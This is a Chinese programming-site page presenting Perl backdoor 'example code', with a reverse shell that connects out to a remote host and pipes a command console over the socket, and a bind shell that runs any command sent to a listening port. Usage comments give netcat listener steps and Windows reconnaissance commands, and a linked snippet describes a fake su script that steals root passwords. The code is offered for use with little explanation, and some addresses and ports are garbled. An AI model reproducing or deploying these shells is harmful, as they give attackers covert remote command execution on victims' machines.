位置: 编程技术 - 正文

perl后门,正向和反向!实例代码

编辑:rootadmin
反向连接代码: 1. #!/usr/bin/perl 2. #usage: 3. #nc -vv -l -p PORT(default ) on your local system first,then 4. #Perl $0 Remote IP(default .0.0.1) Remote_port(default ) 5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. 6. #nc -vv -l -p 7. #perl backdoor.pl .0.0.1 8. 9. #use strict; . use Socket; . use IO::Socket; . use Cwd; . use IO::Handle; . my $remote = $ARGV[0]|| ".0.0.1"; . my $remote_port = $ARGV[1]|| ; . my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote)); . my $path = cwd(); . $ARGC = @ARGV; . if ($ARGV[0]!~/-/) . { . socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: "; . STDOUT->autoflush(1); . SOCKET->autoflush(1); . $conn=connect(SOCKET,$pack_addr)||die "connection error : $!"; . open STDIN,">&SOCKET"; . open STDOUT,">&SOCKET"; . open STDERR,">&SOCKET"; . print "You are in $pathn"; . print "Welcome to use.n"; . print "console>n"; . . while (<STDIN>) { . chomp; . if( lc($_) eq 'exit' ) { . print " Bye Bye!"; . exit; . } . $msg=system($_); . if($msg){ . print STDOUT "n$msgn"; . print STDOUT "console>"; . }else . { . print "console>"; . } . } . close SOCKET; . exit; . } 正向连接代码: 1. #!/usr/bin/perl 2. #ActivePerl 5.8.8 Build 3. #usage: 4. #first:perl backdoor2c.pl 5. #second:nc -vv .0.0.1 6. #net user 7. #ipconfig /all 8. #netstat -anb 9. use IO::Socket; . $port = ""; . my $socket = new IO::Socket::INET ( 'Localhost'=>'.0.0.1' , . 'LocalPort'=>$port , . 'Listen'=>1 , . 'Proto'=>'tcp' , . 'Reuse'=>1 ); . die "Reason: $!" unless $socket; . while (my $new_socket = $socket->accept()) { . while (my $buffer=<$new_socket> ){ . if ($buffer=~/exit/) {exit;} . $res_msg=`$buffer`; . print $new_socket "$res_msgncmd>"; . }}

推荐整理分享perl后门,正向和反向!实例代码,希望有所帮助,仅作参考,欢迎阅读内容。

perl后门,正向和反向!实例代码

文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!

Perl模块编写说明 Perl的语法相对来说有点晦涩,主要是一些内置变量和函数处理得相当精巧,而过于精致的东西理解起来就有点费力。相对于Shell,Perl在很多方面更加强

用perl写的单位电脑信息采集程序 主要用于收集ip、mac、姓名、房间,后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################usestrict;useTk;useEncode;#SOCKE

冒充su ,perl写的su.pl盗取root密码 我改了一下,把回显关了加了个延时:#!/usr/bin/perl#Writtenbyxi4oyuevil.xi4oyu@gmail.com.print"Password:";`stty-echo`;$s1=STDIN;print"n";`sttyecho`;sleep3;print"su:incorrectpasswordn"

标签: perl后门,正向和反向!实例代码

本文链接地址:https://www.jiuchutong.com/biancheng/372433.html 转载请保留说明!

上一篇:Shell编程的一些知识集合(shell编程技巧)

下一篇:Perl模块编写说明(perl编程)

  • 一般纳税人销售使用过的固定资产
  • 我国流转税的税种有哪些
  • 申请退还增量留抵税额的条件包括
  • 待抵扣进项税的账务处理
  • 发票已抵扣但对方要红冲后续原发票要拿回来吗
  • 计提无形资产摊销额计入什么科目
  • 本年利润呈亏损要不要上企业所得税?
  • 企业所得税税款可以扣除吗
  • 哪些企业适用于品种法
  • 一个人可以在多家公司任职吗
  • 住宿费电子普票可以抵扣进项税额
  • 经济补偿金也需要交个人所得税吗?
  • 研发设备的定义
  • 没有股权取得的分红如何交税?
  • 销售原材料的账务处理
  • 出售使用过的固定资产如何开票 备注
  • 企业股权溢价转让会计分录
  • 2021装修法律
  • 接手新公司涉税问题分析
  • 人力资源顾问公司有什么岗位
  • 资产管理人该如何称呼
  • 上个月没有报个税这个月一起报
  • 个人转账至公司要交税吗
  • 发票没有存根联怎么办
  • 发票冲红还需要作废吗
  • 开机进入睡眠模式按哪个键解除
  • 运杂费计入什么科目
  • 怎么安装win7系统u盘
  • 个别报表内部交易
  • 收到支票直接背书账务
  • 进出口企业税务怎可以查出问题
  • 斯诺多尼亚山
  • 使用php连接数据的方法
  • php调用ffmpeg实现切片
  • 材料短缺计入
  • 待抵扣进项税计入其他应收款
  • 开源php 系统
  • mysql数据库死锁产生的原因及解决方案
  • 汇算清缴需要做账吗
  • 一般纳税人超过多少要交税
  • 购买的固定资产退回账务处理
  • sql server 2008全称
  • sql server5120
  • 当月减少的固定资产为什么计提折旧
  • 定期定额户超过9万如何交个税
  • 电费可以计入营业外收入吗
  • 合作社财政补助平均量化
  • 企业利润分配应当遵循的原则
  • 预计产品质量保证损失计入什么费用
  • 员工垫付的钱会计分录
  • 不得从销项税额中抵扣进项税的有哪些
  • 建筑业老项目发展现状
  • 总账和明细账的保管期限
  • 企业预付账款是什么意思
  • win2008r2安装ftp
  • win8系统怎么安装office
  • win10飞行模式怎么关掉没有图标
  • ubuntu 18.04 16.04
  • linux系统批量任务
  • mac10.95升级
  • 升级win10免费吗
  • win10app商店
  • win8.1删除所有内容并重新安装
  • cortana可以用于搜索本机文件吗
  • win7 64位旗舰版电脑如何取消网页自动保存密码?win7取消自动保存网页密码的方法
  • [置顶]JM259194
  • cocos2d开发app
  • 如何用jquery
  • fortune命令
  • ftp下载工具能自动登录ftp服务器
  • bash脚本加密
  • android设置背景颜色代码
  • 安卓手机管家是什么
  • js如何修改style
  • 安卓手机怎么导入地图
  • Python黑魔法手册
  • 云南省电子税务局怎么改号码
  • 回迁房子契税怎么算
  • 小微企业怎么报增值税
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设